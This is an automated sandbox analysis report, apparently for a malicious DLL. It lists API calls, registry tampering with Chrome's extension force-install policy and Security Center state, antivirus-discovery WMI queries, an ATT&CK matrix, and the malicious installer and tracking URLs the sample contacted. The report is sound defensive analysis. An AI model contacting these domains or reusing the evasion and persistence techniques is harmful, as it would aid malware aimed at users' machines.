Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,_getptd,LcidFromHexString,GetLocaleInfoW,TestDefaultLanguage,	39_2_000001C9C85D6A08
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	39_2_000001C9C85D6B54
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,GetLocaleInfoW,	39_2_000001C9C85D6C04
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,_getptd,TranslateName,GetLcidFromLangCountry,GetLcidFromLanguage,TranslateName,GetLcidFromLangCountry,GetLcidFromLanguage,_getptd,EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,__crtDownlevelLCIDToLocaleName,__crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,_itow_s,	39_2_000001C9C85D6D48
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoEx,malloc,__crtGetLocaleInfoEx,WideCharToMultiByte,free,	39_2_000001C9C85CCF14
Source: C:\Windows\System32\rundll32.exe	Code function: __getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,	39_2_000001C9C85D4F30
Source: C:\Windows\System32\rundll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	39_2_000001C9C85CD080
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoEx,__crtGetLocaleInfoEx,GetACP,	39_2_000001C9C85D61FC
Source: C:\Windows\System32\rundll32.exe	Code function: _calloc_crt,_malloc_crt,free,_malloc_crt,free,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__free_lconv_mon,free,free,free,free,	39_2_000001C9C85D4260
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,TranslateName,GetLocaleNameFromLangCountry,GetLocaleNameFromLanguage,TranslateName,GetLocaleNameFromLangCountry,ProcessCodePage,IsValidCodePage,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,_itow_s,GetLocaleNameFromLanguage,__crtGetUserDefaultLocaleName,_invoke_watson,_invoke_watson,_getptd,_getptd,LcidFromHexString,GetLocaleInfoW,	39_2_000001C9C85D6318
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoEx,	39_2_000001C9C85D62B0
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,	39_2_000001C9C85E64A0
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,EnumSystemLocalesW,	39_2_000001C9C85D6690
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,EnumSystemLocalesW,	39_2_000001C9C85D6744
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,_getptd,LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,TestDefaultLanguage,	39_2_000001C9C85D67D8
Source: C:\Windows\System32\rundll32.exe	Code function: _calloc_crt,_malloc_crt,free,_malloc_crt,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__free_lconv_num,free,free,free,	39_2_000001C9C85D47CC
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,TestDefaultCountry,__crtGetLocaleInfoEx,TestDefaultCountry,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_getptd,__crtGetLocaleInfoEx,_invoke_watson,	39_2_000001C9C85D5D90
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoA,GetLastError,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,free,free,__crtGetLocaleInfoEx,_calloc_crt,__crtGetLocaleInfoEx,free,__crtGetLocaleInfoEx,_invoke_watson,	39_2_000001C9C85BFF20

Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_046B4E05 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_046B4E05

Source: C:\Windows\System32\rundll32.exe

Code function: 33_2_0000021BD97CC348 _lock,_get_daylight,_get_daylight,_get_daylight,___lc_codepage_func,_getenv_helper_nolock,free,_malloc_crt,free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

33_2_0000021BD97CC348

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_046A1130 SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,lstrcpynW,lstrcpynW,GetCommandLineW,lstrcpynW,GetModuleHandleW,CharNextW,lstrcpynW,GetTempPathW,GetTempPathW,lstrcatW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcpynW,lstrcpynW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,lstrcpynW,lstrcpynW,DeleteFileW,CopyFileW,CloseHandle,lstrcatW,lstrlenW,lstrcmpiW,GetFileAttributesW,lstrcpynW,LoadImageW,RegisterClassW,SystemParametersInfoW,CreateWindowExW,CloseHandle,FreeLibrary,GlobalFree,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,

6_2_046A1130

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46} STATE

Jump to behavior

Modifies Chrome's extension installation force list

Source: C:\Windows\SysWOW64\reg.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\google\chrome\ExtensionInstallForcelist

Source: svchost.exe, 0000000E.00000002.3168766710.000001DDF0502000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\svchost.exe

WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'

Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C858F0C0 __swprintf_l,strchr,strchr,inet_pton,strchr,_wcstoui64,strchr,_wcstoui64,getsockname,WSAGetLastError,WSAGetLastError,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,getsockname,listen,WSAGetLastError,htons,__swprintf_l,__swprintf_l,	39_2_000001C9C858F0C0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85A93F0 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,getsockname,getpeername,closesocket,closesocket,closesocket,closesocket,	39_2_000001C9C85A93F0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8599D28 bind,WSAGetLastError,	39_2_000001C9C8599D28
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C8581D60 inet_pton,htons,inet_pton,htons,htons,bind,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,	39_2_000001C9C8581D60

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	111 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	1 Exploitation of Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	1 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	1 Clipboard Data	21 Encrypted Channel	Exfiltration Over Bluetooth	1 System Shutdown/Reboot
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	33 Windows Service	1 Valid Accounts	21 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Service Execution	1 Browser Extensions	11 Access Token Manipulation	1 Software Packing	NTDS	57 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	33 Windows Service	1 DLL Side-Loading	LSA Secrets	271 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	111 Process Injection	12 Masquerading	Cached Domain Credentials	221 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Valid Accounts	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	221 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	111 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Rundll32	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
anuwhqTXGt.dll	11%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\nsqF009.tmp\IpConfig.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsqF009.tmp\MoreInfo.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsqF009.tmp\SimpleSC.dll	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsqF009.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsqF009.tmp\inetc.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsqF009.tmp\md5dll.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsqF009.tmp\nsExec.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nssF49D.tmp\IpConfig.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nssF49D.tmp\MoreInfo.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nssF49D.tmp\SimpleSC.dll	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nssF49D.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nssF49D.tmp\inetc.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nssF49D.tmp\md5dll.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nssF49D.tmp\nsExec.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\IpConfig.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\MoreInfo.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\SimpleSC.dll	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\inetc.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\md5dll.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll	3%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
serragatino.info	10%	Virustotal	Browse
embro.info	10%	Virustotal	Browse
guayaco.info	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://dynamic.t	0%	URL Reputation	safe
https://embro.info/installer/get_timestamp.php1023	10%	Virustotal		Browse
https://embro.info/	11%	Virustotal		Browse
https://curl.se/docs/alt-svc.html#	0%	Virustotal		Browse
https://curl.se/docs/hsts.html	0%	Virustotal		Browse
https://embro.info/installer/finish	10%	Virustotal		Browse
https://curl.se/docs/hsts.html#	0%	Virustotal		Browse
https://embro.info/installer/get_timestamp.php	10%	Virustotal		Browse
https://curl.se/docs/http-cookies.html	0%	Virustotal		Browse
https://curl.se/docs/alt-svc.html	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
4o985rhikfsof.b-cdn.net	138.199.40.58	true	false		high
serragatino.info	104.21.24.192	true	true	10%, Virustotal, Browse	unknown
www.google.com	142.250.176.196	true	false		high
embro.info	172.67.207.72	true	true	10%, Virustotal, Browse	unknown
guayaco.info	104.21.69.207	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://embro.info/installer.php?pixid=2&campaignId=&firstrun=1&bg=1&cmdline=%22C%3A%5CUsers%5Cuser%5CDesktop%5CanuwhqTXGt%2Edll%22%2C%231&v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854402&ts2=&brw=chrome&mi=0&ma=10	true		unknown
http://serragatino.info/preinstaller/index.php?evt=start&v=1.28.763.1&ts=1713854395&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
https://embro.info/installer.php?pixid=2&campaignId=&firstrun=1&bg=1&cmdline=C%3A%5CUsers%5Cuser%5CDesktop%5CanuwhqTXGt%2Edll%2Cget&v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854403&ts2=&brw=chrome&mi=0&ma=10	true		unknown
http://4o985rhikfsof.b-cdn.net/license_1.28.763.1.dat	false		high
http://serragatino.info/preinstaller/index.php?evt=end_install&v=1.28.763.1&ts=1713854416&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
https://embro.info/installer/finish?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=VPGCNBK0FG&ts=1713854404&ts2=&brw=chrome&mi=0&ma=10	true		unknown
https://embro.info/updateTask/index.php?v=e1.0.0.28&os_mj=10&os_mn=0&os_bitness=64&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=VPGCNBK0FG&ts=1713854404&ts2=&brw=chrome&retry_version=1.0.0.28&retry_count=0	true		unknown
http://serragatino.info/preinstaller/index.php?evt=start_download&v=1.28.763.1&ts=1713854396&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
https://embro.info/installer/start?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=VPGCNBK0FG&ts=1713854404&ts2=&brw=chrome&mi=0&ma=10	true		unknown
https://embro.info/installer/start?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854403&ts2=&brw=chrome&mi=0&ma=10	true		unknown
http://serragatino.info/preinstaller/index.php?evt=end_download&v=1.28.763.1&ts=1713854399&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
https://embro.info/installer/get_timestamp.php	true	10%, Virustotal, Browse	unknown
http://serragatino.info/preinstaller/index.php?evt=start&v=1.28.763.1&ts=1713854398&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
http://serragatino.info/preinstaller/index.php?evt=start_install&v=1.28.763.1&ts=1713854399&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
http://serragatino.info/preinstaller/index.php?evt=start_install&v=1.28.763.1&ts=1713854400&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
http://serragatino.info/preinstaller/index.php?evt=end_install&v=1.28.763.1&ts=1713854414&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
https://embro.info/installer/finish?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854403&ts2=&brw=chrome&mi=0&ma=10	true		unknown
http://serragatino.info/preinstaller/index.php?evt=start&v=1.28.763.1&ts=1713854396&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
http://serragatino.info/preinstaller/index.php?evt=end_download&v=1.28.763.1&ts=1713854401&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
http://serragatino.info/preinstaller/index.php?evt=end_download&v=1.28.763.1&ts=1713854398&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
http://serragatino.info/preinstaller/index.php?evt=end_install&v=1.28.763.1&ts=1713854417&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
http://serragatino.info/preinstaller/index.php?evt=start_install&v=1.28.763.1&ts=1713854401&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
http://serragatino.info/preinstaller/index.php?evt=start_download&v=1.28.763.1&ts=1713854399&mid=d85294d3634ef96b9b06988fd385c922&payload=	true		unknown
https://embro.info/installer/finish?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854402&ts2=&brw=chrome&mi=0&ma=10	true		unknown
https://embro.info/installer/start?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854402&ts2=&brw=chrome&mi=0&ma=10	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://embro.info/installer/get_timestamp.php1023	rundll32.exe, 00000006.00000003.1531203206.0000000002E59000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002E99000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1507666527.0000000002D69000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1506478813.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1528772926.0000000003269000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529469355.00000000032A9000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse	unknown
https://embro.info/U	rundll32.exe, 0000000F.00000002.1529987679.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://embro.info/S	rundll32.exe, 0000000F.00000002.1529987679.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://embro.info/	rundll32.exe, 00000007.00000002.1508449489.0000000004CE7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529987679.0000000005305000.00000004.00000020.00020000.00000000.sdmp	false	11%, Virustotal, Browse	unknown
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000000.00000002.1446453851.0000026B78268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418388349.0000026B78267000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 00000000.00000003.1427452911.0000026B78241000.00000004.00000020.00020000.00000000.sdmp	false		high
https://embro.info/installer/finish	rundll32.exe, 00000006.00000003.1531203206.0000000002E59000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002E99000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1507666527.0000000002D69000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1506478813.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1528772926.0000000003269000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529469355.00000000032A9000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse	unknown
https://embro.info/installer/start?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55	rundll32.exe, 00000006.00000003.1382772442.0000000004D84000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532997737.0000000004D48000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532997737.0000000004D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1508449489.0000000004CD1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1508449489.0000000004C80000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529987679.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	false		high
https://embro.info/I	rundll32.exe, 00000007.00000002.1508449489.0000000004CE7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_Error...	rundll32.exe, 00000006.00000003.1531203206.0000000002E59000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1315274555.0000000002E16000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1315956231.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1506478813.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1344950440.0000000003226000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1528772926.0000000003269000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp	false		high
http://standards.iso.org/iso/19770/-2/2009/schema.xsd	svchost.exe, 0000000B.00000002.3167579094.000001D989118000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3166699441.000001D988887000.00000004.00000020.00020000.00000000.sdmp, regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.11.dr	false		high
https://embro.info/installer.php?pixid=2&campaignId=&firstrun=1&bg=1&cmdline=%22C%3A%5CUsers%5Cfront	rundll32.exe, 00000006.00000003.1531585454.0000000002E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532997737.0000000004D48000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532207523.0000000002E47000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t0.ssl.ak.dynamic.tiles.virtualea0D#xk	svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	false		high
